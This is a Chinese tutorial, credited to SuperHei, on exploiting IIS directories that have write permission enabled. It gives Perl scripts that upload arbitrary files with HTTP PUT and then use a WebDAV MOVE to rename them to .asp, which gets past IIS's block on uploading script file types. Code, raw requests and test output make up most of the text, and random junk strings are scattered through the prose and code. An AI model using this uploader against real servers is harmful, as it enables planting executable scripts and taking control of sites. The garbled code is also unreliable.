对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

6 T9 I! `- x5 r. ^* J

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

! \( `; K. W7 F# W: X

写权限

2 z# x: B/ R; |, ~+ J

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

0 x) r" g7 B1 n/ v* X* C# P: r- TPUT /dir/my_file.txt HTTP/1.1 0 M1 v" x) P0 V3 H6 tHost: iis-server Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

; A. {" Q0 ]3 q

HTTP/1.1 100 Continue 3 x5 l. P* d" a0 x. ]1 B$ F2 ZServer: Microsoft-IIS/5.0 . Q X5 t( L4 P$ S. ZDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

AAAAAAAAAA

; X k7 ?9 p9 [- z

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

# g- I9 p+ l* b8 L" ^

4 _( T) ^3 F+ E1 Q/ jHTTP/1.1 201 Created Server: Microsoft-IIS/5.0 ) l1 L6 x- @$ O4 {# L1 BDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt ( V' E' e- c1 i# N2 wContent-Length: 0 . y1 R; c# q1 z+ w, q' [Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 3 F" a- o$ x0 }) HPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

/ m; Q Q* n5 Q7 m

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1 V7 o, q( B5 `( x; }8 gHost: iis-server ! A6 r" g0 O" k# e/ O. Q4 SContent-Length: 10

7 p1 A$ j+ C# ?2 N

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 # C3 S9 W! n5 _ r1 [ r　　Host：是HTTP请求的发送地址 ' u& b" T% }# ?2 m　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

- R J7 p4 S( S

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

# r7 x u; ~/ b9 P5 e- K

if ($ARGC != 4) 9 y( i- y% N( d+ [# S3 I* X! b. b( m{ / x1 P' r+ [+ L, r0 C. w% d# d" \1 a4 p1 N　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 9 x! d1 C+ f8 S　　exit; , @& c$ v3 h9 \. f2 Z} $host = @ARGV[0]; $port = @ARGV[1]; ' n$ R) ~1 G% J- d! P$file = @ARGV[2]; 4 Q7 C1 c! ?% S$path = @ARGV[3];

+ l; V3 X6 V8 K+ K

@s=stat("$file"); # p. y0 C, @2 [$size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", % R) ?( P1 N5 E/ `; _PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; }8 Y" _/ v* Y9 C" Zprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); V6 J# C* ~! C2 N7 k; f( U3 [binmode(FILE); #用2进制打开文件

; J) M6 ^# Z2 }5 ? H( Z7 F

while (read(FILE,$char,1024)) { #读取文件数据上传 7 R: X' z) [% }. k" N　　print $sock "$char"; 5 w% l- i1 n4 @7 ]7 c} print $sock "\n\n"; $ \1 X, K3 c/ d$ z@req = <$sock>; print "please wait...\n"; 0 s" K" W: G" w; F) e9 {sleep(2); if ($req[4]=~/200|201/){ & q* i6 A6 u$ ]3 d' v" [　　print "upfile Succeed!!!" ; #成功显示 } else{ 　　print "upfile faile!!!\n\n"; ( L/ o* w' g3 L; H$ O* [3 L　　print @req;#如果失败显示返回错误 } 5 B# g1 b1 n8 [+ Y6 \* g6 i: c% j, Cclose $sock; ' S1 ^- }1 P- E* vclose FILE;

　　下面我们测试下：

' d" g. D/ R6 c* I

9 D: T* a9 P3 q: E " n& W, x8 M3 j1 j% W

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt + ?' N5 ^8 d; h. e8 \! Y! d; @ ekaka.txt size is 14 bytes - D- D; C7 l' y4 j& Aplease wait... upfile Succeed!!!

( Z8 g/ `) o2 Z, d

C:\Inetpub\Scripts>dir kaka.txt B3 y s% B% K8 f( q; v驱动器 C 中的卷没有标签。 + v5 N% ]) v0 H; ?3 s9 R卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 + K4 b/ X9 q- d h. n0 ?0 个目录 3,871,080,448 可用字节

8 g+ |3 U4 }+ g/ Z+ |0 C% D

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

/ q2 {3 [9 M1 E Y

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe 4 P+ {4 t' I6 y" s% f/ {' Nperl.exe size is 20535 bytes " q$ p! X' s/ s* m3 g; Lplease wait... upfile Succeed!!!

6 m& g) Q1 b( N5 U& v* @

C:\Inetpub\Scripts>dir perl.exe $ J) v. Z/ z( V) _驱动器 C 中的卷没有标签。 ! N2 i+ m! `& g: U! W卷的序列号是 3CD1-479E

$ V% h5 {- A( n

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 5 I3 G l7 J* G* D4 S2 z2 f1 个文件 20,535 字节 5 o# z3 @ G8 }6 D0 个目录 3,871,031,296 可用字节

. u$ H. r( H1 R+ p2 R. W

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

( i( N% M! b4 ~1 `

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp ! J6 G3 q2 {; V2 f4 _3 y# z: jkaka.asp size is 4 bytes please wait... upfile faile!!!

4 N" l% a9 K' N; M8 _- L1 O

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 + f2 `5 n4 E8 a# m5 sDate: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT . X7 {$ w7 F9 w& JConnection: close 4 k3 U; ]2 c$ O& bContent-Type: text/html , X' s* \: [& h1 pContent-Length: 44

8 U; q. X2 n6 b! [) A" W2 t

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

3 ]" j K, g% V

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

) p" |4 D* X0 Y2 r3 B

D:\>nc 127.0.0.1 80 6 L. n& }% z t% zMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 . Q) S) }5 P1 j1 J' R2 U1 |Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created & S7 } F& k+ h# \. RServer: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT ; W& l, [# Q- z; d: d) zLocation: http://127.0.0.1/scripts/x.asp , a7 x3 \$ s% g" O' nContent-Type: text/xml 6 S; ]/ ^: v2 w" A) _Content-Length: 0

- R: B- Q3 Q# n- X8 {

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

0 m4 v8 ]4 f! F9 T2 q

　　测试写asp成功：

1 y2 U$ ~! N5 @" |, r

1 J u4 ^, B2 u O" p* E

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ( j- {4 i/ V9 d& Y3 b************************************************************ 7 j* N O- d! ^2 _kaka.asp size is 4 bytes please wait... 7 J# d W) A, f% ?9 J" J qupfile Succeed!!! 6 J0 b# b8 ?: t- s% u; iModifyfile Succeed!!!

4 S% P8 `% x5 t1 Z, O2 Q4 ^& M

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

1 z3 N! |: t- X& I' |# R$ L& W

#!/usr/bin/perl #The iiswrite Script

use I:Socket; . z# Y* y6 C: L: Q( h/ N$ARGC = @ARGV; print "*" x 60; ) b8 |( D5 T# j. _3 Tprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; ! h ]1 i2 q, e3 R: ~: jprint "*" x 60,"\n"; ' ?" F* e3 e2 `2 `! F/ Sif ($ARGC != 4) { 7 a2 G P0 V5 B9 J5 q2 U/ M5 r　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 2 E3 {9 P: |4 r: S, N　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; $path = @ARGV[3]; 8 q2 B" @0 }' W' q; v1 w, `$file = @ARGV[2];

) I. h% b3 M/ W% j. N; a+ X+ u

@path=split("/",$path); $any = pop(@path); 9 S. c7 @2 g$ C/ f# A }$path1=join("/",@path); @s=stat("$file"); $size = $s[7];

1 R5 ^+ t- Q# B' }) U

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, 0 H8 P$ y' ?% w$ S' U$ GPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; . j( J' R) y8 @5 a- Vprint $sock "Content-Length: $size\n\n"; 5 B. ~8 s2 b5 a2 popen(FILE,"$file")|| die "Can't open $file"; ' Z" C- h$ \1 A( v8 A" Pbinmode(FILE); 7 E/ S; C1 u2 K" |/ A7 M2 {- Mwhile (read(FILE,$char,1024)) { " x4 C0 N+ N; [: C" U; K: p　　print $sock "$char"; ' C0 |; J- i+ E" ~} * o! x8 k# X; c0 V- l/ Sprint $sock "\n\n"; ( m8 V9 k' [' y' Q1 y8 @) x4 j@req = <$sock>; 6 e$ X1 [4 F# @print "please wait...\n"; 7 I$ ^- Z; y1 }: s. L& qsleep(2); % E4 V( J' E7 {if ($req[4]=~/200|201/){ / S1 C$ s5 f0 d- L M　　print "upfile Succeed!!!\n" ; ; ^6 H( F) f. v7 a4 Y} else{ 　　print "upfile faile!!!\n"; ' X6 O' |0 M& d% O} close $sock; 2 r7 ~2 @3 W- n. y; qclose FILE;

6 \2 p7 W" \ A p/ g. H0 @( @) \

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, * k0 I4 i+ `0 ^8 I7 C: {PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; ( N7 w7 x* @. ^' X; S- F% h5 jprint $sock "Destination:http://$hostport$path\n\n\n\n"; 4 Z% y* P. p, }7 j* c' M@req = <$sock>; 4 A1 t$ l# a, b$ u4 f/ U6 P0 f9 eif ($req[0]=~/20\d+|/){ 6 u0 S# p3 i2 N% T& t8 L5 f( u0 Z　　print "Modifyfile Succeed!!!" ; } ' y; d7 a n w. l" r$ a4 zelse{ 　　print "upfile faile!!!"; ! B7 R6 n& _0 ?# ]$ T7 d} close $sock